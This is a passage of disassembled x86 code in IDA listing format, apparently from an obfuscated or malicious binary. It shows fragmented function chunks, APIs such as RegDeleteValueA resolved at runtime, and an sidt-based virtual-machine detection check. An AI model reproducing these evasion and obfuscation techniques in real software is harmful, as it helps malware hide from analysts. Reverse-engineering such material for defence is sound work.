		push	dword ptr [eax+10h]
		pop	edx
		test	edx, edx
		jz	loc_9B23EF
		jmp	loc_9AE574
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9AE268:				; CODE XREF: sub_9B4480-69Cj
		mov	esi, 1
		mov	[ebp+var_334], esi


loc_9AE273:				; CODE XREF: sub_9B4480-2F24j
					; sub_9B4480-6A2j
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		mov	edx, [ebp+var_330]
		push	edx
		call	dword ptr [ecx+14h]


loc_9AE288:				; CODE XREF: sub_9B4480+A3j
		and	esi, esi
		jnz	sub_9AD1A4
		jmp	off_9BA840
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AE298:				; CODE XREF: sub_9B649C-2343j
					; DATA XREF: .text:off_9B96A3o
		add	eax, ecx
		mov	[ebp+var_1C], eax


loc_9AE29D:				; CODE XREF: sub_9B649C-7A93j
		and	bl, bl
		jns	loc_9B512A
		jmp	off_9B9D04
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AE2AC:				; CODE XREF: sub_9B3864-6484j
					; sub_9B3864-366Aj
		mov	[ebp+var_2058],	ecx
		xor	eax, eax
		mov	[ebp+var_206C],	eax
		mov	[ebp+var_2050],	ecx
		mov	[ebp+var_205C],	eax


loc_9AE2C6:				; CODE XREF: sub_9B3864-2463j
		cmp	edi, 11h
		jnz	loc_9AEB8C
		jmp	off_9B9342
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AE2D8:				; CODE XREF: sub_9B1D80+FFCj
					; DATA XREF: .text:off_9B925Co
		mov	eax, [ebp-2044h]
		test	byte ptr [eax+8], 8
		jz	loc_9AB0A2
		jmp	off_9B9399
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AE2F0:				; CODE XREF: sub_9B63D8-60BCj
		cmp	ebx, 10h
		jl	loc_9AC5CD
		jmp	off_9BA158
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9AE300:				; CODE XREF: sub_9ABA3C+5Cj
		push	esi
		pop	eax
		lea	edx, [eax+1]


loc_9AE305:				; CODE XREF: sub_9ABA3C+28CEj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_9AE305
		jmp	off_9BA716
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 4
		push	esi
		sub	esi, esi


loc_9AE317:				; CODE XREF: .text:009AE321j
		push	esi
		call	sub_9ABE84
		inc	esi
		cmp	esi, 40h
		jl	short loc_9AE317
		jmp	loc_9AED80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9AE328:				; CODE XREF: sub_9B3EFC-1BB0j
		mov	edx, eax
		and	edx, 0FEFFh
		cmp	edx, 12C6h
		jz	loc_9AD6E0
		jmp	off_9BAF57
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE344:				; CODE XREF: sub_9B1A08-31F6j
		test	al, 40h
		jz	loc_9B2C5C
		jmp	loc_9B5444
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE35C:				; CODE XREF: sub_9B0930-2472j
		push	off_9B965A
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+0Ch]
		pop	edx
		mov	[edx+20h], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+0Ch]
		pop	eax
		push	dword ptr [eax+20h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9F7A
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE390:				; CODE XREF: sub_9B0930+24B5j
		push	off_9B8D85
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+0Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BAF67
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1584


loc_9AE3C4:				; CODE XREF: sub_9B1584-274Bj
					; DATA XREF: .text:off_9B982Bo
		mov	[ebp+var_1C], 1
		jmp	loc_9AD087
; END OF FUNCTION CHUNK	FOR sub_9B1584
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ADCEC


loc_9AE3D3:				; CODE XREF: sub_9ADCEC-2456j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	off_9B94D7
		call	dword ptr [eax+1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ADCEC
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AE400	proc near		; CODE XREF: sub_9ADAC4+77Dp
					; sub_9B2E04+73p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 009AE1B8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AF8E8 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 009B43AB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B4944 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BA0E0
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	eax, eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], eax
		call	sub_9A5238
		test	eax, eax
		jnz	loc_9AF8E8
		jmp	loc_9B4944
sub_9AE400	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9AE444:				; CODE XREF: sub_9B3FF8-3D36j
					; DATA XREF: .text:off_9B94F4o
		lea	edx, [ebx-4]
		mov	[ebp+var_20], edx
		push	esi
		pop	ecx
		call	sub_9ABADC
		cmp	eax, [esi+ebx-4]
		jnz	loc_9B2884
		jmp	loc_9AB26C
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9AE460:				; CODE XREF: sub_9B04A8-3499j
					; sub_9B04A8+3E95j
		test	bl, 4
		jz	loc_9B27CA
		jmp	loc_9ABF94
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AE473:				; CODE XREF: sub_9ADDA4+30D2j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-28h]
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE490:				; CODE XREF: sub_9B0930+13E6j
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	ecx
		mov	[ecx+1Ch], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+0Ch]
		pop	eax
		mov	ecx, [eax+1Ch]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AE35C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AE4CE:				; CODE XREF: sub_9B03E8-12F5j
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9AE4EC:				; CODE XREF: sub_9B4610+4B4j
		call	sub_9B227C
		sub	eax, dword_9BBF94[esi]
		cmp	eax, 258h
		ja	loc_9AF228
		jmp	off_9B911D
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE508:				; CODE XREF: sub_9B0930-2021j
					; DATA XREF: .text:off_9BADCCo
		push	off_9B9220
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+80h], eax
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	dword ptr [eax+80h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BAF5B
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9AE544:				; CODE XREF: sub_9B3984-60B1j
		push	6
		lea	ecx, [ebp+var_4054]
		push	ecx
		push	2002h
		lea	edx, [ebp+var_4024]
		push	edx
		call	sub_9ABD30
		mov	[ebp+var_4050],	eax
		cmp	eax, 4
		jnz	loc_9AB89C
		jmp	loc_9ABE1C
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE574:				; CODE XREF: sub_9B0930-26D0j
		mov	edx, [eax+14h]
		test	edx, edx
		jz	loc_9B23EF
		jmp	loc_9B40C8
; ---------------------------------------------------------------------------


loc_9AE584:				; CODE XREF: sub_9B0930+34EDj
		push	1Ch
		push	40h
		call	edi
		mov	dword_9BCB74, eax
		test	eax, eax
		jz	loc_9B23EF
		jmp	off_9BA8EF
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE5A0:				; CODE XREF: sub_9B0930+4CF4j
					; DATA XREF: .text:off_9B8EDAo
		mov	edx, [eax+4]
		test	edx, edx
		jz	loc_9B23EF
		jmp	off_9B9550
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9AE5B7:				; CODE XREF: sub_9AEC20-34FAj
					; sub_9AEC20-1ED6j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	off_9BADC8
		call	dword ptr [edx+1Ch]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AE5F0:				; CODE XREF: sub_9B649C-5775j
					; sub_9B649C-136Fj
		or	bh, bh
		jns	loc_9B319A
		jmp	loc_9B3194
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AE600:				; CODE XREF: sub_9ACEE8+86j
					; DATA XREF: .text:off_9B9F4Co
		call	sub_9B2010
		and	eax, eax
		jz	loc_9ACF55
		jmp	off_9BABAC
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9AE614:				; CODE XREF: sub_9B3408+88j
		xor	ebx, ebx
		mov	[ebp-128h], ebx
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		lea	edx, [ebp-128h]
		push	edx
		push	ebx
		push	ebx
		push	ebx
		mov	edi, [ebp-138h]
		push	edi
		push	dword ptr [ebp-124h]
		pop	eax
		push	eax
		call	dword ptr [ecx+10h]
		test	eax, eax
		jnz	loc_9AB749
		jmp	off_9BA6FF
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4


loc_9AE654:				; CODE XREF: .text:009B2AC8j
		push	ecx
		sidt	fword ptr [esp-2]
		pop	dword ptr [esp+4]
		push	dword ptr [esp+4]
		pop	eax
		cmp	eax, 0D0000000h
		ja	loc_9B2AB4
		jmp	off_9BAA05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9AE674:				; CODE XREF: sub_9B3FF8+3Ej
					; DATA XREF: .text:off_9B9793o
		cmp	edi, 2000h
		ja	loc_9B2884
		jmp	loc_9ABCEC
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9AE688:				; CODE XREF: sub_9B2F1C-739Fj
		lea	ecx, [esi+eax]
		call	sub_9ADCEC
		push	edi
		pop	eax
		mov	[ebp-1Ch], eax


loc_9AE695:				; CODE XREF: sub_9B2F1C-C0Aj
		push	eax
		mov	ecx, esi
		call	sub_9B2830
		mov	edx, [ebp+0Ch]
		mov	[edx], eax
		jmp	loc_9B528F
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AE6A8:				; CODE XREF: sub_9ADAC4+588Dj
		mov	eax, dword_9BCB74
		push	dword ptr [eax+10h]
		pop	ecx
		push	edi
		call	dword ptr [ecx+38h]


loc_9AE6B5:				; CODE XREF: sub_9ADAC4+1F66j
					; sub_9ADAC4+4762j ...
		sub	edi, edi


loc_9AE6B7:				; CODE XREF: sub_9ADAC4-2B20j
		mov	[ebp-40h], edi
		cmp	edi, 0Ah
		jge	loc_9AF35C
		jmp	off_9BADA4
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2010


loc_9AE6CC:				; CODE XREF: sub_9B2010-198Fj
					; sub_9B2010+38j
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		call	dword ptr [eax+30h]
		mov	dword_9BEBF8, eax
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+8]
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword ptr [edx+4]
		mov	[ebp+var_20], eax
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	eax
		push	off_9B9F95
		call	dword ptr [edx+34h]


loc_9AE704:				; CODE XREF: sub_9B2010-1995j
		push	dword_9BEBF4
		pop	eax
		or	eax, eax
		jnz	loc_9B012F
		jmp	off_9B8956
; END OF FUNCTION CHUNK	FOR sub_9B2010
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AE71C:				; CODE XREF: sub_9ADDA4+35FDj
					; DATA XREF: .text:off_9B9040o
		mov	eax, [ebp+esi*4-27Ch]
		cdq
		mov	ebx, eax
		xor	ebx, edx
		push	dword ptr [ebp+ecx*4-27Ch]
		pop	eax
		sub	ebx, edx
		cdq
		xor	eax, edx
		sub	eax, edx
		cmp	eax, ebx
		jle	loc_9AE8A9
		jmp	loc_9AE8A4
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AE744:				; CODE XREF: sub_9B1D80+215Fj
					; DATA XREF: .text:off_9BACA8o
		xor	eax, eax
		mov	[ebx], eax
		mov	[ebx+4], eax
		mov	[ebx+8], eax
		mov	[ebx+0Ch], eax
		jmp	loc_9B1D5B
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AE758:				; CODE XREF: sub_9AB1A0+1DE5j
		push	esi
		pop	eax
		call	sub_9B327C
		or	eax, eax
		jnz	loc_9AEA48
		jmp	loc_9B5B90
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9AE76C:				; CODE XREF: sub_9B562C-32CCj
					; DATA XREF: .text:off_9BAAD0o
		mov	eax, [ebp+var_130]
		mov	cx, [eax]
		mov	word ptr [ebp+var_128],	cx


loc_9AE77C:				; CODE XREF: sub_9B562C-64C4j
					; sub_9B562C-5B2Fj ...
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	esi
		call	dword ptr [eax+80h]
		jmp	loc_9AECDF
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9AE794:				; CODE XREF: sub_9B43F4-373j
					; DATA XREF: .text:off_9B9414o
		and	al, 4
		neg	al
		mov	edi, [ebp+14h]
		sbb	eax, eax
		and	eax, 0FFFFFFF5h
		add	eax, 11h
		cmp	eax, edi
		jnz	loc_9ACEAF
		jmp	loc_9AD544
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AE7B0:				; CODE XREF: sub_9B63D8-B107j
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		push	eax
		call	dword ptr [edx+38h]


loc_9AE7BE:				; CODE XREF: sub_9B63D8-B10Dj
					; sub_9B63D8-6A85j
		mov	eax, [ebp-2134h]
		or	eax, eax
		jz	loc_9AED1C
		jmp	off_9B9A8B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9AE7D4:				; CODE XREF: sub_9AFB1C+35j
					; DATA XREF: .text:off_9B9373o
		mov	dword ptr [ebp-4], 0
		push	esi
		pop	edx
		xor	ecx, ecx
		mov	[edx], ecx
		mov	[edx+4], ecx
		mov	[edx+8], ecx
		mov	[edx+0Ch], ecx
		mov	[edx+10h], ecx
		test	bl, 8
		mov	[edx+14h], ecx
		mov	[edx+18h], ecx
		mov	[edx+1Ch], ecx
		jz	loc_9B28FC
		jmp	loc_9B5DA8
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE804:				; CODE XREF: sub_9B1A08-325j
					; DATA XREF: .text:off_9B9240o
		mov	[ebp+var_4200],	eax
		test	al, 1
		jz	loc_9B5444
		jmp	loc_9AE344
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AE818:				; CODE XREF: sub_9B63D8-ADABj
		push	off_9B8DB6
		pop	edi
		xor	edx, edx
		lea	esi, [ebx+ebp-2120h]
		push	2
		pop	ecx
		repe cmpsd
		jnz	loc_9B469E
		jmp	off_9B9840
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AE83C:				; CODE XREF: sub_9B3864-667Aj
		and	edx, edx
		jz	loc_9AF480
		jmp	off_9B94B7
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AE84C:				; CODE XREF: sub_9B1F68-5911j
		xor	edi, edi


loc_9AE84E:				; CODE XREF: sub_9B1F68-118Aj
					; sub_9B1F68+3994j
		mov	[ebp-34h], edi
		cmp	edi, ebx
		jnb	loc_9B5AD3
		jmp	loc_9B436C
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AE860	proc near		; CODE XREF: sub_9A5033+75p
					; sub_9AFF64:loc_9ADB20p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 009AC1FC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009AF738 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B0F18 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B0FBC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B4A90 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B5A10 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B87A8
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		jmp	off_9B907E
sub_9AE860	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9AE890:				; CODE XREF: sub_9AEAAC+48j
					; sub_9AEAAC+5857j
		mov	[ebp+var_24], ecx
		cmp	ecx, [ebp+arg_0]
		jge	loc_9B5EF7
		jmp	loc_9AED58
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AE8A4:				; CODE XREF: sub_9ADDA4+99Bj
		mov	esi, ecx
		mov	[ebp-2Ch], esi


loc_9AE8A9:				; CODE XREF: sub_9ADDA4+995j
		inc	ecx
		jmp	loc_9B1396
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-1Ch]
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9AE8BD:				; CODE XREF: sub_9AF030-29F5j
					; sub_9AF030+29A2j ...
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA623
		call	dword ptr [ecx+1Ch]
		test	edi, edi
		jz	loc_9B3F80
		jmp	off_9BA84C
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ABADC


loc_9AE8E0:				; CODE XREF: sub_9ABADC-B1Dj
					; DATA XREF: .text:off_9B9402o
		pop	esi


loc_9AE8E1:				; CODE XREF: sub_9ABADC+6j
		not	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_9ABADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AE8E4:				; CODE XREF: sub_9B0930+11EAj
					; DATA XREF: .text:off_9B8E38o
		push	off_9B8EA0
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+7Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		push	dword ptr [eax+7Ch]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BADCC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AE918:				; CODE XREF: sub_9B1D80+3961j
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		mov	eax, [ebp-203Ah]
		push	eax
		call	dword ptr [edx+28h]
		push	eax
		sub	eax, eax
		push	dword ptr [ebp-2038h]
		pop	edx
		push	dword ptr [ebp-2040h]
		pop	esi
		call	sub_9B1334
		mov	esi, [ebp+14h]


loc_9AE945:				; CODE XREF: sub_9B1D80-591Fj
					; sub_9B1D80-4425j ...
		xor	ecx, ecx
		cmp	ecx, [ebp-2058h]
		jmp	off_9BAEF9
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE954:				; CODE XREF: sub_9B1A08+3286j
		push	[ebp+var_41E0]
		pop	eax
		cmp	eax, 0Ah
		jnb	loc_9AD484
		jmp	off_9B8D2B
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9AE96C:				; CODE XREF: sub_9B36E8-6A7Bj
		or	esi, 80000000h
		mov	[ebp-1Ch], esi


loc_9AE975:				; CODE XREF: sub_9B36E8-6A81j
		mov	eax, dword_9BBD30
		and	eax, eax
		jnz	loc_9ACE6D
		jmp	off_9BAECD
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AE988:				; CODE XREF: sub_9B1A08+9B2j
					; DATA XREF: .text:off_9B9F6Eo
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B2C62
		jmp	off_9BAE22
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B5480


loc_9AE9A0:				; CODE XREF: sub_9B5480-49C5j
		mov	eax, [eax+44h]
		or	eax, eax
		jz	loc_9AD8DD
		jmp	off_9BAC29
; END OF FUNCTION CHUNK	FOR sub_9B5480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2C70


loc_9AE9B4:				; CODE XREF: sub_9B2C70-55E1j
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		push	dword ptr [ebp-4Ch]
		pop	eax
		mov	ecx, [eax]
		push	ecx
		jmp	loc_9B01D8
; END OF FUNCTION CHUNK	FOR sub_9B2C70
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B29B0


loc_9AE9CC:				; CODE XREF: sub_9B29B0-6C6j
					; sub_9B29B0+6Cj
		mov	dword ptr [ebp-228h], 1
		jmp	loc_9B541B
; END OF FUNCTION CHUNK	FOR sub_9B29B0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AE9DC:				; CODE XREF: sub_9B649C-3B0Dj
					; DATA XREF: .text:off_9BA4D5o
		movzx	ecx, word ptr [esi+eax]
		mov	[ebp+var_20], ecx
		lea	eax, [ecx+eax+2]
		mov	[ebp+var_1C], eax


loc_9AE9EA:				; CODE XREF: sub_9B649C-7AA3j
		shl	edx, 1
		jmp	loc_9B0D1E
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AE9F4:				; CODE XREF: sub_9B649C-576Fj
					; DATA XREF: .text:off_9BA097o
		movzx	ecx, bx
		test	ecx, edx
		jz	short loc_9AE9EA
		jmp	loc_9B2984
; ---------------------------------------------------------------------------


loc_9AEA00:				; CODE XREF: sub_9B649C-4C51j
		add	eax, 4
		mov	[ebp+var_1C], eax


loc_9AEA06:				; CODE XREF: sub_9B649C-4C57j
		test	bl, 40h
		jz	loc_9AE29D
		jmp	loc_9B3140
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AEA14:				; CODE XREF: sub_9ACEE8+2682j
					; DATA XREF: .text:off_9B96E4o
		cmp	ecx, 1F4h
		jb	loc_9ACB00
		jmp	off_9BA694
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD1A4


